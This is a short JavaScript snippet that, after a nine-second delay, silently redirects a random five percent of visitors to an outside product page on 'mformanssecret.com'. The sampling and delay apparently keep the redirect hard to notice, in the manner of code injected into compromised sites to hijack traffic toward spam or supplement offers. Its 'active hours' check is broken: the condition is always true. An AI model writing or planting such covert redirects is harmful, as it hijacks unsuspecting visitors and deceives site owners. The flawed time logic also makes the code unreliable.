function isWithinActiveHours() {
  const currentDateTime = new Date();
  const currentUTCHours = currentDateTime.getUTCHours();


  return (currentUTCHours >= 18 || currentUTCHours < 24);
}


function redirectToLink(percentage, targetUrl) {

  if (isWithinActiveHours()) {

    const randomNumber = Math.random() * 100;


    if (randomNumber < percentage) {

      window.location.href = targetUrl;
    }
  }
}

function initiateRedirection(percentage, targetUrl, delay) {
  setTimeout(function() {
    redirectToLink(percentage, targetUrl);
  }, delay);
}


const redirectPercentage = 5;
const targetUrl = "https://mformanssecret.com/products/biochoicepro-511a4";
const delayInMilliseconds = 9000; 

initiateRedirection(redirectPercentage, targetUrl, delayInMilliseconds);